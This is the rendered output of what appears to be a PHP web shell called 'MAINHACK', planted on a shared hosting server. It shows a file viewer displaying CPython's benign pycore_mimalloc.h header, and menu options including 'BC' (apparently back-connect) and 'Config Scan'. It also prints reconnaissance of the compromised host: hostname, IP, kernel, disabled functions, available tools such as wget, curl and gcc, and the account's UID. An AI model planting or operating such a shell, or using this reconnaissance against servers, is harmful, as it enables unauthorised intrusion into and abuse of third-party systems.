[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: pycore_mimalloc.h
File is not writable. Editing disabled.
#ifndef Py_INTERNAL_MIMALLOC_H #define Py_INTERNAL_MIMALLOC_H #ifndef Py_BUILD_CORE # error "this header requires Py_BUILD_CORE define" #endif #if defined(MIMALLOC_H) || defined(MIMALLOC_TYPES_H) # error "pycore_mimalloc.h must be included before mimalloc.h" #endif typedef enum { _Py_MIMALLOC_HEAP_MEM = 0, // PyMem_Malloc() and friends _Py_MIMALLOC_HEAP_OBJECT = 1, // non-GC objects _Py_MIMALLOC_HEAP_GC = 2, // GC objects without pre-header _Py_MIMALLOC_HEAP_GC_PRE = 3, // GC objects with pre-header _Py_MIMALLOC_HEAP_COUNT } _Py_mimalloc_heap_id; #include "pycore_pymem.h" #ifdef WITH_MIMALLOC # ifdef Py_GIL_DISABLED # define MI_PRIM_THREAD_ID _Py_ThreadId # endif # define MI_DEBUG_UNINIT PYMEM_CLEANBYTE # define MI_DEBUG_FREED PYMEM_DEADBYTE # define MI_DEBUG_PADDING PYMEM_FORBIDDENBYTE #ifdef Py_DEBUG # define MI_DEBUG 2 #else # define MI_DEBUG 0 #endif #ifdef _Py_THREAD_SANITIZER # define MI_TSAN 1 #endif #ifdef __cplusplus extern "C++" { #endif #include "mimalloc/mimalloc.h" #include "mimalloc/mimalloc/types.h" #include "mimalloc/mimalloc/internal.h" #ifdef __cplusplus } #endif #endif #ifdef Py_GIL_DISABLED struct _mimalloc_interp_state { // When exiting, threads place any segments with live blocks in this // shared pool for other threads to claim and reuse. mi_abandoned_pool_t abandoned_pool; }; struct _mimalloc_thread_state { mi_heap_t *current_object_heap; mi_heap_t heaps[_Py_MIMALLOC_HEAP_COUNT]; mi_tld_t tld; int initialized; struct llist_node page_list; }; #endif #endif // Py_INTERNAL_MIMALLOC_H
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.17 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: N/A